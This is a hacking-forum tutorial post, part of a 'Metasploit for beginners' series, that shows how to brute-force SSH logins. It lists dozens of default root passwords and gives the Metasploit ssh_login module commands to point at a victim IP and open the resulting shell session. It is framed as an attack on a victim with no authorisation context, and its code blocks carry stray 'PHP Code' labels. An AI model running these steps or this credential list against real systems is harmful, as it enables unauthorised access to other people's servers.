Thread: [\[Part 3\]\\$~Scanner SSH Auxiliary Modules](#)

spirited_wolf™ - September 13, 2016, 8:42 pm

Hello HackForum members ?
Today i am here with a new tutorial in
" [Part]\$~Metasploit for beginners " season.

So, in this tutorial we are gonna use the metasploit SSH Scanner Auxiliary Module to crack the ssh login.

==>[\[Part 1\]\\$~Metasploit for beginners](#)<==

==>[\[Part 2\]\\$~Metasploit for beginners](#)<==

==>[\[Mega Tutorial Links\]A huge Tutorial collection for hackers/Pentesters\[updatated\]](#)<==

==>[\[Metasploit\] Collect Email Addresses \[/Tutorial on Information Gathering\]](#)<==

==>[\[Tutorial\]PHP CGI ARGUMENT INJECTION using Metasploit\[/Noob-Friendly\]](#)<==

1. First we need a word list so its right here.

PHP Code

```
<?php
```

```
root
```

```
root !root
```

```
root Cisco
```

```
root NeXT
```

```
root QNX
```

```
root admin
```

```
root attack
```

```
root ax400
```

```
root bagabu
```

```
root blablabla
```

```
root blender
```

```
root brightmail
```

```
root calvin
```

```
root changeme
```

```
root changethis
```

```
root default
```

root fibranne
root honey
root jstwo
root kn1TG7psLu
root letacla
root mpegvideo
root nsi
root par0t
root pass
root password
root pixmet2003
root resumix
root root
root rootme
root rootpass
root t00lk1t
root tini
root toor
root trendimsa1.0
root tslinux
root uClinux
root vertex25
root owaspbwa
root permit
root ascend
root ROOT500
root cms500
root fivranne
root davox
root letmein
root powerapp
root dbps
root ibm
root monitor
root turnkey

2. Now lets open Metasploit console.

PHP Code

<?php

i.e msfconsole

3. Now we are gonna use the auxiliary module.

PHP Code

<?php

use auxiliary/scanner/ssh/ssh_login

Now we will set RHOST and USERPASS_FILE to point to our list of credentials to attempt.

Type:-
PHP Code
<?php
set RHOSTS <IP_Victim>

set USERPASS_FILE <path to dictionary >

So scan is completed
Spoiler ([Click to View](#))

So now just type sessions for checking if we got a session or not.

Now interact with session.
PHP Code
<?php
sessions -i <ID>

Exploitation Done ?
